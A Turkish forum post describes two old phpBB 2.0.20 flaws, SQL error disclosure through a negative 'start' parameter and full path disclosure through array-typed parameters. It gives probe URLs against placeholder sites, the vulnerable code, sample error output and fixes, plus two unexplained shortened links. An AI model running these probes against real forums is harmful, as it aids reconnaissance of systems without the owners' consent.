phpBB`nin tam yol goruntuleme& SQLhataları

Ürün açıklaması

phpBB yüksek güçlü, tamamen ölceklendirilebilir ve yüksek yapılandırma özelliklerine sahip açık kaynaklı forum uygulamalarındandir.

phpBB kullanıcı dostu bir arayuze, net bir yonetim paneline ve yardımsever bir SSS kısmına sahiptir.

Uygulama PHP tarafından yazılmış olup; MySQL,MS-SQL, PostgreSQL yada Access/ODBC veritabanları phpBB için idealdir.

iletişim için https://tik.lat/aNQrK

Exploitler 2.0.20 ve öncesi içindir ..

# SQL hataları

SQL sorgularından Limit fonksiyonuna istediğimiz herhangi bir tam sayı degeri girebildiğimiz için olusmaktadır.

örneğin:
http://[acigiBulunanSite.xxx]/[dizinler]/[phpBBdizini]/memberlist.php?start=-1

Bu açıga neden olan kod blogu:

$start = ( isset($HTTP_GET_VARS[’start’]) ) ? intval($HTTP_GET_VARS[’start’]) : 0;

Yarattığı sonuc:

Could not query users

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ’-1, 50’ at line 4

SELECT username, user_id, user_viewemail, user_posts, user_regdate, user_from, user_website,
user_email, user_icq, user_aim, user_yim, user_msnm, user_avatar, user_avatar_type,
user_allowavatar FROM phpbb_users WHERE user_id <> -1 ORDER BY user_regdate ASC LIMIT
-1, 50

Line : 151
File : memberlist.php


# Tam yol görüntüleme

Birçok uygulamada oldugu gibi phpBBdede bu basit hata bulunmaktadır. Bu hata kod bloklarına(fonsiyonlara) eklenen değişkenlerden kaynaklanmaktadır. Örneğin

PHPde htmlspecialchars() fonksiyonu..

...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls", &str,
&str_len, "e_style, &hint_charset, &hint_charset_len) == FAILURE) {
return;
}
...

Yukarıda goruldugu gibi giriş değişkeni için bir koruma goruluyor, fakat eger değişken string değişken tipinden farklıysa tam yol goruntuleme acıgı olusmaktadır.

örneğin: http://[acigiBulunanSite.xxx]/[dizinler]/[phpBBdizini]/memberlist.php?mode[]=cx
http://[acigiBulunanSite.xxx]/[dizinler]/[phpBBdizini]/viewtopic.php?t=2&highlight[]=cx

Bu açıga neden olan kod blogu:

if ( isset($HTTP_GET_VARS[’mode’]) || isset($HTTP_POST_VARS[’mode’]) )
{
$mode = ( isset($HTTP_POST_VARS[’mode’]) ) ? htmlspecialchars($HTTP_POST_VARS[’mode’]) :
htmlspecialchars($HTTP_GET_VARS[’mode’]);
}
else
{
$mode = ’joined’;
}

Sonuclar php.ini deki display_errors değişkeni 1 e eşitse gosterilir, örneğin:

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
/www/[dizinler]/[phpBBdizini]/memberlist.php on line 40

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/memberlist.php:40) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/memberlist.php:40) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/memberlist.php:40) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 486

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
/www/[dizinler]/[phpBBdizini]/viewtopic.php on line 487

Warning: urlencode() expects parameter 1 to be string, array given in
/www/[dizinler]/[phpBBdizini]/viewtopic.php on line 498

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/viewtopic.php:487) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/viewtopic.php:487) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/viewtopic.php:487) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 486

Bu gibi acıkları yok etmek için ya php.ini deki display_errors değerini 0 yapıp kapatıcaz yada gelmesini istediğimiz veriyi işlemeden önce kontrol ediceğiz.

örnek kontrol fonksiyonları:

is_string() değişken tipi eger bir string ise True degilse False degeri üretir.
abs() girilen sayının mutlak degerini üretir.

daha fazlası için https://tik.lat/6xoWS

paylaşım süper ellerine saglık tşk ederim